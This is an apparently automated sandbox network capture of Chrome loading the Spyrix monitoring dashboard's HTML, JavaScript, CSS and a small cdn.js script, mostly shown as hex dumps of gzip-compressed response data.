2024-10-02 04:11:35 UTC	650	IN	Data Raw: 32 37 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 0a 20 20 20 20 72 65 6c 3d 22 69 63 6f 6e 22 0a 20 20 20 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 0a 20 20 2f 3e 0a 20 20 3c 6d 65 74 61 0a 20 20 20 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 0a 20 20 2f 3e 0a 20 20 3c 6d 65 74 61 0a 20 20 20 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 Data Ascii: 27e<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" /> <link rel="icon" href="/favicon.ico" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta name="robots" content="noinde

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49757	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:36 UTC	594	OUT	GET /dashboard30/assets/index-004f4025.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:36 UTC	405	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:36 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-135fd2" Content-Encoding: gzip Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T20:47:23+00:00 X-Node: m9-up-gc233
2024-10-02 04:11:36 UTC	3691	IN	Data Raw: 35 36 35 66 0d 0a 1f 8b 08 00 00 00 00 00 04 03 c4 bd 0d 73 db 46 96 f7 fb 55 24 96 56 4b 8e 61 c5 ca cc ce ce 80 86 59 8c 2c c7 9a d8 4e 1c db 8a 12 45 cb 50 24 24 d1 a6 08 86 20 25 33 92 9e cf 7e 7f ff d3 2f 00 29 79 36 cf ad ba 75 ab 6c 11 68 34 fa e5 f4 e9 f3 de 07 57 fd d9 c6 de 41 f6 fd e9 c7 7c 30 df 19 e6 67 a3 49 fe c3 ac 98 e6 b3 f9 b2 7d c5 c3 83 83 ac 99 27 dd 64 de ca 9e 75 37 46 93 8d bc b3 77 60 25 37 f9 64 71 99 cf fa a7 e3 3c dd 7c 92 0c 8a c9 d9 e8 7c 11 ef af 67 a3 79 78 76 d5 1f 2f f2 74 7e d7 4a f3 e3 ee 49 36 b7 96 7f 9c 54 2d 37 0f d4 e6 7c 39 cd 8b b3 8d ee 66 d6 28 97 97 a7 c5 b8 d1 e9 3e 6a 34 52 f5 ce bf 76 f3 6c 31 19 cc 47 c5 a4 d9 ba a1 bb 72 be d1 cd 86 c5 80 51 4c e6 3b 83 59 de 9f e7 fb e3 5c 77 cd c6 78 34 f9 d4 68 ed cc Data Ascii: 565fsFU$VKaY,NEP$$ %3~/)y6ulh4WA\|0gI}'du7Fw`%7dq<\|\|gyxv/t~JI6T-7\|9f(>j4Rvl1GrQL;Y\wx4h
2024-10-02 04:11:36 UTC	4096	IN	Data Raw: f8 42 dc 19 97 b3 5c 57 c1 67 2a 95 2c 70 a6 ef a7 d2 7b cb f8 4c ba cd 66 50 6a fc bb 48 f1 e5 45 b1 18 0f 7f 64 59 f3 19 43 1a 8e 70 b4 4b bf 2a b1 46 dd e9 1d cf d9 77 2e 64 af 8d ae 99 66 63 58 5c a6 8e f0 b8 97 1b 70 96 04 cf 46 bd c1 e0 8c 74 23 c5 10 1e 1a f3 83 7c 4f 3f 92 6a c4 9a 86 d8 c7 6d 41 86 c9 68 98 e6 e3 6a 33 0f b5 42 ad 0e 8a ea b0 95 da 4d 52 ef c4 5c c2 ad b6 b6 e2 0c ec e9 31 30 9b eb 0c bd 27 bb c9 c7 af fb d3 f4 26 1a 0b 52 a2 0a bc 8b de fb e6 93 68 54 e0 99 ae ef 60 55 d1 d3 3e 94 17 cd a4 63 e8 d0 45 8e 3b fe 24 08 33 67 59 73 91 41 ae 4d a7 72 64 04 e1 7f 08 ff 5f 29 5a c0 59 f0 9a 23 aa d7 9a 9d 7a e7 dc d9 49 e0 d3 3d 64 c4 da a4 7b 0f a3 25 2e c6 d9 8e cd e9 78 ba 8a 62 4e 78 ba 40 35 85 9a 00 2b 07 6a 10 7e da 6a 9d 64 53 Data Ascii: B\Wg,p{LfPjHEdYCpKFw.dfcX\pFt#\|O?jmAhj3BMR\10'&RhT`U>cE;$3gYsAMrd_)ZY#zI=d{%.xbNx@5+j~jdS
2024-10-02 04:11:36 UTC	4096	IN	Data Raw: d8 de 20 2a 4c d9 e9 91 a3 9b 2b 53 3a cd 17 96 c2 4f 1c 4e 22 1d aa cc 98 ff a4 d5 b9 e0 18 43 2b a5 45 fc 67 b4 58 d6 44 07 b3 7e 96 2d 97 d2 82 d3 3b 21 f2 bc 6b 6a 9f fa 37 10 7a 0b 33 e1 af 94 18 09 8a 25 c1 74 df 03 99 db cd ce e6 f1 ff 34 4f fe f2 6b 4b f8 7c 4e 51 da 3c fe 9f 93 47 ad af 92 a9 90 fd ab 5f ff c2 ed 5f 3a bf fe e5 d7 af be 3a af 66 cb 08 57 dd b5 9e ad 55 9b 69 ca 46 60 17 38 fe d8 5b 56 9e 0c 19 e2 18 54 ed b4 0f 71 fa 76 30 e1 7c 49 74 be b7 de 3f 83 c5 c8 5f 01 81 f2 f1 9e 27 d9 e4 78 37 dc 20 2d 22 93 56 ec fa 47 01 fd 46 40 ee 12 d0 af 49 3b 30 40 a5 5d 74 11 25 6e 61 fe cc 62 a8 35 d6 83 d1 68 10 8f b2 c9 23 9d 99 88 8a b5 83 a7 1a f2 d2 81 2c d2 b9 6d 2b 57 7f 6e f5 03 e2 62 bf b0 03 16 d5 68 2f 0d 7a 0c 69 33 0f cb 22 89 42 Data Ascii: *L+S:ON"C+EgXD~-;!kj7z3%t4OkK\|NQ<G__::fWUiF`8[VTqv0\|It?_'x7 -"VGF@I;0@]t%nab5h#,m+Wnbh/zi3"B
2024-10-02 04:11:36 UTC	4096	IN	Data Raw: d5 dd b0 71 de de 5a 67 55 df c8 3b 34 e7 e0 83 f4 15 c6 29 85 c8 63 60 b7 43 1d e4 ce 9a 6d e9 97 fa 94 af 19 10 1f 46 41 4c 11 ee 35 44 64 b0 43 b9 16 f7 2c 56 d5 96 b3 63 68 c6 09 8b 2d 53 db 5c 99 a1 48 5a 4b c7 98 f7 34 1c e7 d3 40 75 8f 32 34 13 91 e3 40 f2 a9 7e 9d ab a2 8e c4 5d 5e 14 a5 5a 55 0f 24 42 52 5d d1 42 58 90 c9 33 12 b7 0e 16 89 2f 80 11 1a c4 ca 8b 54 c6 ca 7f 54 75 37 ce 18 8a 31 a1 f8 74 50 c7 73 f7 b8 fe b2 95 54 82 88 75 0c e9 13 aa fd 22 3c 93 a1 d7 a2 2e 7e 59 ba 75 08 51 17 12 10 25 5a f8 a8 12 bf bc c1 d1 26 28 38 1b 82 f3 79 05 a2 7b 16 fd 93 52 fc 0e c5 60 10 f2 ba a9 2d a2 af 6a 6c c7 4a f7 14 a6 64 c1 14 56 56 89 35 2c 84 89 35 f5 37 ee 40 ff 0d 57 af c6 13 ee 0f f1 f6 16 24 ed a2 76 81 6b e8 50 dd 5a ff a6 d5 b8 37 c2 e8 Data Ascii: qZgU;4)c`CmFAL5DdC,Vch-S\HZK4@u24@~]^ZU$BR]BX3/TTu71tPsTu"<.~YuQ%Z&(8y{R`-jlJdVV5,57@W$vkPZ7
2024-10-02 04:11:36 UTC	4096	IN	Data Raw: 96 e1 54 67 6f 44 81 74 f8 4b 9c 69 8c 17 e3 1f f8 37 90 9d 80 15 e8 09 2d d4 51 af ba c1 6f 4f 26 72 37 44 f2 b2 8e 4a 9f 5f 4d b9 4d 47 e5 ab bc 7f c5 d7 f7 dc 8d e7 81 fe 9e 20 4b 3d 3a 7c 83 6d ae 34 bf 29 a1 69 51 e5 be 9e 5b e0 00 79 d8 63 8b 90 47 c0 7f 3a ab 1e 54 0d ba 67 21 dc e2 05 4e 93 17 3e 01 96 fb 78 f6 49 72 c0 d9 11 59 fe 7c e6 94 44 1f cf 22 ca d3 a7 03 e6 18 ca ac 54 c6 fa 61 2c 29 26 2e 35 dc 3e 38 30 4b 5f 28 7f 5c ed b2 7b 46 69 ed de 2e f7 b4 f6 9c 5b 1c ba ea ee 7d 81 20 77 05 b5 4b 7b bf 76 6f 97 0f be df 75 03 b5 01 ac 5c 6b 04 2b 05 56 b1 de c6 5d f2 cd 69 76 83 36 c2 67 a0 be 21 f8 0f 51 ce 6b 3f 9c bb 91 7a 92 1e ec 3b e3 01 a4 e7 c6 e9 e6 dd 98 ce 97 6c 46 d8 f7 91 b5 b4 c2 46 78 cb 3a c9 73 4b 2e f2 eb e3 0a a0 72 38 6f c3 Data Ascii: TgoDtKi7-QoO&r7DJ_MMG K=:\|m4)iQ[ycG:Tg!N>xIrY\|D"Ta,)&.5>80K_(\{Fi.[} wK{vou\k+V]iv6g!Qk?z;lFFx:sK.r8o
2024-10-02 04:11:36 UTC	2044	IN	Data Raw: 08 9f f4 8a 13 2d 32 32 c6 7c 72 f5 0d 79 b0 a1 ad 75 1a d3 c4 d3 e9 8c 6e 92 eb 5c e7 c5 e9 b7 13 3b 04 29 53 2b d3 be b4 72 7e 1d ff e6 d4 3f e9 14 e7 c9 21 c1 7f 61 b8 ae 2a 9b c0 aa f2 eb ab 5a c5 49 37 fb a1 69 29 36 ae 8d 78 a5 87 b2 9b 7b f9 69 6d 97 4e 92 4f 98 32 51 a2 48 71 29 43 38 5a 2e 00 82 9a 2f e2 3d 03 71 71 76 18 b8 2c e2 96 ee d2 23 04 8c 89 2f c8 8e 68 df f2 ab af cf bc df 7a be 4f 7e 75 a6 4c 80 44 f2 c9 f8 4f fc 2c f1 27 01 61 dc e2 23 f0 2e c5 a4 3e 46 1c 68 49 48 eb fa a9 fa f6 1a c0 7b 46 fc 09 60 4b 3e 1d 97 24 f9 a6 4f 4e 7d b1 cb 16 da 58 2b 46 80 fd bc f9 09 04 6b dd b0 f9 3d 98 59 13 a5 b3 6b 02 fb 67 9f f8 1b 00 86 7c 5a b2 59 3f 51 2f 16 69 2e 34 f1 fd 7e 42 74 25 17 d7 73 82 0d 74 71 70 8a 51 58 17 a5 0c df ba 38 dd 57 d8 Data Ascii: -22\|ryun\;)S+r~?!a*ZI7i)6x{imNO2QHq)C8Z./=qqv,#/hzO~uLDO,'a#.>FhIH{F`K>$ON}X+Fk=Ykg\|ZY?Q/i.4~Bt%stqpQX8W
2024-10-02 04:11:36 UTC	4096	IN	Data Raw: 35 38 30 30 0d 0a 9d 31 fc 42 2b 3e 7f c1 4d 6d b1 21 39 ae 03 cd 60 51 5b fa a1 d0 b6 df 6a 6e b2 8b 36 19 5d 17 a2 47 65 3e 83 48 0e 1b be 33 c8 56 c5 68 e2 9e 90 0f 48 cf c6 3a dd 8c 27 7c 28 af 93 c3 0a ce 07 92 c4 29 de aa 56 c9 f3 30 ec 61 70 eb 2b 0e 05 89 cc 87 7a a9 8a 19 b3 88 d6 cb fa 35 ab 97 0d 6a b6 3a 28 b5 e9 df 9b f1 9e 83 d7 1d 2c cf 7d 23 04 73 0c 99 f5 b7 0c cb 1a 35 59 d9 c3 c0 12 41 b2 34 25 e6 9a 84 ac f9 0f e0 8d 9d f4 b0 f3 4c 5d 1b 8a 20 35 16 74 a0 74 ac dc 1c 9d f1 de ea 0e 58 dd b1 33 97 2c da 10 01 00 58 12 e6 ca c2 51 b7 e3 8f 63 45 7e b9 68 75 04 a6 6c c0 87 1e d9 55 ca 22 40 46 10 2b b8 8f 4a 63 71 74 0e b5 6b 04 92 69 06 c0 68 42 67 82 83 7e e1 43 0a b7 35 8b 61 34 8d 8e ed 23 30 0a 29 a5 03 72 7c 49 4e b5 15 47 8c 5a 3c Data Ascii: 58001B+>Mm!9`Q[jn6]Ge>H3VhH:'\|()V0ap+z5j:(,}#s5YA4%L] 5ttX3,XQcE~hulU"@F+JcqtkihBg~C5a4#0)r\|INGZ<
2024-10-02 04:11:36 UTC	4096	IN	Data Raw: 5d 1d 9f 91 a7 a6 4b 6a 45 ac 48 ba 36 fd d3 5d b1 27 97 2a 12 45 de 77 d2 65 0d d2 77 47 cf 5e 90 4b 9f 71 ab 10 ac c7 a8 7a 48 8a cb 15 89 40 d2 1c a5 77 3a 5d f6 85 19 8a 42 1e 31 3a 37 33 09 77 6e 3a a6 5b 4a f9 74 b7 18 d7 99 c4 0b be 6b 27 61 16 65 5a c6 07 fe 32 c1 b0 d9 99 8e 14 67 78 07 d3 42 a7 0e b3 f2 4a b5 ca 8c a2 22 c0 33 23 38 4c eb d2 5d 3c 30 3b c7 64 9d b9 15 6d dd 3e 01 f8 e5 4e 0f 7d a7 ff 06 96 e0 e2 ff 6d bf 87 7c de f0 2c 7f fc 58 b4 ef e8 19 56 28 fd 6a c6 b5 09 b3 9c bb 9a f0 79 fe f4 45 e7 ea f8 3c 3f 81 8f a5 78 1b 3c 90 04 1e 6f 47 f8 22 4c 98 be 68 6a b4 5d 40 8b 98 b1 f3 d2 59 d7 f4 18 da 3b 6c b7 64 67 17 98 dd b2 5b e5 ba 5f 88 55 38 d2 88 d0 0f ba 46 f0 c8 a9 6d c3 39 42 2c 10 08 19 52 cd fe b1 37 ff 37 8b b5 67 49 2b 82 Data Ascii: ]KjEH6]'*EwewG^KqzH@w:]B1:73wn:[Jtk'aeZ2gxBJ"3#8L]<0;dm>N}m\|,XV(jyE<?x<oG"Lhj]@Y;ldg[_U8Fm9B,R77gI+
2024-10-02 04:11:36 UTC	4096	IN	Data Raw: 4c 86 17 1a 61 32 26 06 dd fb fb df e2 5e 49 7d 1a d3 65 90 81 84 dc ac 56 34 83 3f 5e 34 c3 c6 34 47 f7 4e 6a cc ec 09 bc 61 40 43 ae 30 59 40 d7 82 ae 44 3d 76 b6 54 07 e3 4e d3 f1 a2 45 de 2b 44 9d 6a 3d 14 00 84 06 42 6f 38 a8 2a ff 21 6c 41 cf dc 7c 44 8e c3 4e 49 c4 b4 fe 7c 43 00 69 5a b6 cf e5 a3 87 df fc 95 d5 b6 69 81 af e9 90 2a 18 29 18 ba 4d ee 34 a7 ea 88 0e e8 5e e9 22 d6 25 85 f5 19 cb c0 46 b8 ff a3 bf 03 5f 87 80 35 d8 8c 6d 2e ff 81 1a 24 c9 31 c0 63 86 4f 3e e7 0a 68 70 2f d1 f9 99 54 f4 e5 3c 89 41 2c 45 47 ad 4c 26 12 8c 9c 16 59 4c fe 58 cb af 15 08 b1 0f 48 a1 46 e9 00 0c 22 a0 15 0e 51 a7 7e 87 e1 79 11 9e e2 cb 90 f6 d6 ba f1 f8 08 ba 49 d4 8f 57 ec 37 af d8 df 10 8e bc a6 0f f7 a4 13 0f 03 54 46 d9 39 e5 7d ac 3c cc 16 0c 8c 82 Data Ascii: La2&^I}eV4?^44GNja@C0Y@D=vTNE+Dj=Bo8!lA\|DNI\|CiZi)M4^"%F_5m.$1cO>hp/T<A,EGL&YLXHF"Q~yIW7TF9}<
2024-10-02 04:11:36 UTC	4096	IN	Data Raw: ba 65 1d 7f de 83 57 b1 0b 16 31 2e 40 be e8 e2 4f b5 5f b4 b5 66 5a f3 69 73 c7 97 e1 82 65 38 d7 4a b2 0e a0 9d e6 0e 63 e7 12 06 29 0e 37 41 82 66 f7 9e 7e 34 78 5a 1e d8 2c d5 6c 09 62 52 3b 66 45 bb dd d4 ce c0 b2 d6 1d 53 b1 36 2f bc 0d 5b 91 14 38 9c 06 58 61 18 ae e0 c3 15 b1 8b 74 e6 e2 cf 51 b4 33 68 47 39 87 97 56 3a 46 87 83 fc 50 fa 6d e7 6d fd c3 56 42 69 ba 1b 45 2a b4 51 f0 b1 d5 a7 ec 59 64 02 8e 2e 69 58 3d 63 c5 8c f3 83 ad 99 8e 86 8b 26 8a 96 fb 0f aa 22 e8 42 c5 22 d4 c6 46 49 bc b1 32 89 30 02 05 83 90 0e 2c 88 21 8b 9e 19 58 de 51 20 7e dd 9a e4 f6 44 76 e7 4b df 50 9d e9 fa 37 5c 40 42 44 89 e1 3f fa 12 ca 69 02 9b a4 5b 5a e0 c6 85 a4 20 0b 04 4c ed 1c ef e5 6a 14 a1 42 52 36 43 40 c6 8c 62 a8 68 e7 8b 76 e4 01 9e ce a0 dd 7e 98 Data Ascii: eW1.@O_fZise8Jc)7Af~4xZ,lbR;fES6/[8XatQ3hG9V:FPmmVBiE*QYd.iX=c&"B"FI20,!XQ ~DvKP7\@BD?i[Z LjBR6C@bhv~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49758	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:36 UTC	574	OUT	GET /dashboard30/assets/index-93c74fef.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:37 UTC	314	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:36 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-ef8c" Content-Encoding: gzip Cache: STALE X-Cached-Since: 2024-10-01T21:34:51+00:00 X-Node: m9-up-gc97
2024-10-02 04:11:37 UTC	3782	IN	Data Raw: 33 39 62 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 7d 7b 73 23 b9 91 e7 ff f7 29 b8 d3 e1 08 c9 a7 62 f3 fd 52 ec 86 e7 e1 59 af 6f ed f5 7b 6f ec 98 53 14 ab 8a 22 2d 8a d4 90 54 4b 3d 3a dd 67 bf 5f 26 32 f1 28 a0 48 aa a7 1d 77 17 71 d3 ee b6 54 85 4a 24 f2 8d 44 02 f8 45 b1 cc 77 fb ea d0 fa e2 cf 7f fa 36 9b 7c 71 fd 8b c5 76 73 c8 16 79 51 bd c8 4f f7 ab f5 c7 d9 6f 1f 37 ab c3 f6 7a bf 2b 66 8f bb f5 c5 f2 70 78 d8 cf de bf 2f ca 4d 1b 7f cb ed d3 66 bd cd cb f6 a6 3a bc 2f f3 fd 72 be cd 77 65 bf f3 3e df 03 f6 fe bd f9 3a fb 43 75 fb b8 ce 77 d9 b8 5f 16 79 3e ec b6 9f b6 8b 45 ef 92 a1 ae b7 45 be be f8 e2 77 db 87 87 d5 66 ff c5 e5 d5 67 ef a6 b5 d8 ee ee f3 c3 c5 17 d4 eb 17 97 d7 3c bc a7 6a 75 bb 3c cc fa 9d 4e 6b d8 e9 98 67 fb c3 c7 75 35 Data Ascii: 39b9}{s#)bRYo{oS"-TK=:g_&2(HwqTJ$DEw6\|qvsyQOo7z+fpx/Mf:/rwe>:Cuw_y>EEwfg<ju<Nkgu5
2024-10-02 04:11:37 UTC	4096	IN	Data Raw: 71 4f f3 2c fb bd c1 c8 36 c0 06 0f c4 3b 2b d4 7a 97 b2 dc 64 68 a9 f3 cd 4b 2d d5 62 24 d8 25 6a d9 5a 7b f0 9a bf 98 95 23 f3 8d a4 33 2e af d9 5a 97 48 45 23 25 4f 7b 9c b0 87 09 09 7f 14 c4 b5 68 75 8f 23 b2 2e f6 f8 4c a7 d8 e9 d3 c7 56 1f bf c8 b1 dd df bf e6 a6 32 3a 05 dc 4c 98 a2 2e 64 51 fc 5d de 9b ce 17 d5 eb b2 7b b5 ec 5d 2d fb 57 cb c1 d5 72 f8 82 75 ac 5b 84 d2 d8 fd 20 6b 66 1d b4 60 fe cd 3c c9 59 22 b4 f4 19 e4 bd f2 e2 0b 5d 95 ab 91 e9 75 d9 8b 01 22 d8 fc 64 80 ae 92 ce 96 25 ba 62 44 66 86 56 06 4a d9 ea eb b2 1f 63 80 29 ce 27 63 f0 ba 1c c4 00 31 21 3a 0e 50 63 ad 26 3a 99 50 ff 45 f2 85 54 74 e8 ed 24 33 a5 cb c5 e3 6e 8f 95 1c 29 0e 76 4c 43 35 a6 f0 11 8b ae 24 4e a6 d6 97 33 e0 02 90 e4 60 9d 3f 60 69 44 7f 90 95 53 69 5a 5e Data Ascii: qO,6;+zdhK-b$%jZ{#3.ZHE#%O{hu#.LV2:L.dQ]{]-Wru[ kf`<Y"]u"d%bDfVJc)'c1!:Pc&:PETt$3n)vLC5$N3`?`iDSiZ^
2024-10-02 04:11:37 UTC	4096	IN	Data Raw: 27 a8 f8 21 15 42 3b 6c 79 3d 4f bf 00 b3 ce 91 84 ed b3 69 0b 44 fa 7c 22 91 65 53 43 5f 0d 03 34 35 60 be 7e 28 25 15 e0 4c f3 4c 6d 79 d3 34 0c c6 32 c2 3d a0 49 df 89 d3 69 b0 69 8c 3d fe 7e 7a 5f ed 5a 82 cb 89 9f 07 3e 14 1f ef c2 54 be 28 d5 dc 9f 5a 7d 65 ce f0 55 00 72 6f a6 bd 46 b5 95 13 e3 37 a8 1e 8c b9 1a 50 86 4e 10 d6 64 97 24 d7 62 06 34 7b a7 17 9f 83 6a df 9d ff 21 e8 0d d6 da f3 ba dc ea 0c d9 8b 11 7b 63 84 3f ef d7 c2 22 2f e8 3b 17 78 5a 3a 22 91 90 00 77 80 b2 57 ba 6d d7 06 62 a7 7b 6c 96 91 a6 4e 8e 8a c8 bf 52 f5 47 76 86 9c 34 e2 79 5a 3e cc 3c a6 49 b6 3f 3f c5 da ab 4d b8 98 a7 c3 fb de 2e 9c b4 c7 8a 36 a7 cb 13 77 d2 d1 2a 0d 4e 88 c8 1b cd e3 bb 45 51 74 c7 28 a1 72 37 ef 06 ca 17 52 f6 a5 f3 b3 26 b3 6d 8f 3d bc 7c c5 46 Data Ascii: '!B;ly=OiD\|"eSC_45`~(%LLmy42=Iii=~z_Z>T(Z}eUroF7PNd$b4{j!{c?"/;xZ:"wWmb{lNRGv4yZ><I??M.6w*NEQt(r7R&m=\|F
2024-10-02 04:11:37 UTC	2811	IN	Data Raw: 52 64 24 61 1c cd 1e 2b 75 94 6b 4c ea 9e 1a d2 71 9f 18 8c e7 df 69 b9 35 48 01 99 8c b0 57 c9 40 6a 32 eb b6 ba a4 f6 d6 64 20 ae 20 d0 94 d0 3d 2c b3 60 c7 a2 1b 5e a0 6d be a9 56 a3 a2 fb 5a 94 78 67 00 ad 95 99 e6 87 c3 ee 82 73 8d 07 5c 08 bc 4e 69 54 4c 55 93 bb e6 62 0c 92 b9 ac cb f5 8f 56 b4 6a b3 1e 9d 01 b8 1c ac 9a 19 0a 48 89 6f b1 f5 f3 93 4a 1e b1 79 66 41 d9 43 8f bc 9c 1b e0 d9 1e 57 f7 d9 4d 60 4a 0b be 0d a3 44 ba 68 f3 18 49 a5 10 43 e9 6c ea 80 49 05 68 6b 9d 9b 1b 2f a6 9d c9 b4 37 3c 23 5d e2 6c a9 31 63 0d 70 ec c9 49 d2 de d3 0a 13 30 ba 6b f0 1c 36 ad 36 2e ce 33 d7 07 1c 40 6b 1d 8c 43 8e 5d b0 49 06 b0 1a c3 74 5c aa a9 ab f5 e0 63 57 cb 26 39 78 4a 16 0e cf 12 e2 17 ae e3 9d 03 d2 18 91 2b b6 b9 86 34 d2 79 3b b4 82 0e 07 67 Data Ascii: Rd$a+ukLqi5HW@j2d =,`^mVZxgs\NiTLUbVjHoJyfACWM`JDhIClIhk/7<#]l1cpI0k66.3@kC]It\cW&9xJ+4y;g
2024-10-02 04:11:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49759	158.69.117.119	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:37 UTC	531	OUT	GET /cdn.js HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:37 UTC	344	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 987 Last-Modified: Mon, 30 Sep 2024 10:46:14 GMT Connection: close ETag: "66fa8176-3db" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:11:37 UTC	987	IN	Data Raw: 0a 63 6c 61 73 73 20 43 64 6e 20 7b 0a 20 20 5f 6d 61 78 43 6f 75 6e 74 65 72 20 3d 20 33 30 3b 0a 20 20 5f 69 6e 74 65 72 76 61 6c 20 3d 20 6e 75 6c 6c 3b 0a 20 20 5f 63 6f 75 6e 74 65 72 20 3d 20 30 3b 0a 0a 20 20 69 6e 69 74 28 29 20 7b 0a 20 20 20 20 2f 2f 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 27 63 64 6e 2d 6f 66 66 3d 30 27 3b 20 2f 2f d0 bf d0 be d1 82 d0 be d0 bc d1 83 20 d1 87 d1 82 d0 be 20 d0 ba d1 83 d0 ba d0 b0 20 d0 bf d0 b5 d1 80 d0 b5 d0 b1 d0 b8 d0 b2 d0 b0 d0 bb d0 b0 d1 81 d1 8c 20 d0 b8 20 d0 bd d0 b5 20 d0 bf d0 b5 d1 80 d0 b5 d0 b2 d0 be d0 b4 d0 b8 d0 bb d0 be 20 d0 bd d0 b0 20 d1 81 d0 b5 d1 80 d0 b2 d0 b5 d1 80 0a 20 20 20 20 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 20 3d 20 73 65 74 49 6e 74 65 72 76 61 6c 28 Data Ascii: class Cdn { _maxCounter = 30; _interval = null; _counter = 0; init() { // document.cookie = 'cdn-off=0'; // this._interval = setInterval(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49760	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:38 UTC	379	OUT	GET /dashboard30/assets/index-004f4025.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:38 UTC	346	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:38 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-135fd2" Content-Encoding: gzip Cache: STALE X-Cached-Since: 2024-10-02T02:04:41+00:00 X-Node: m9p-up-gc30
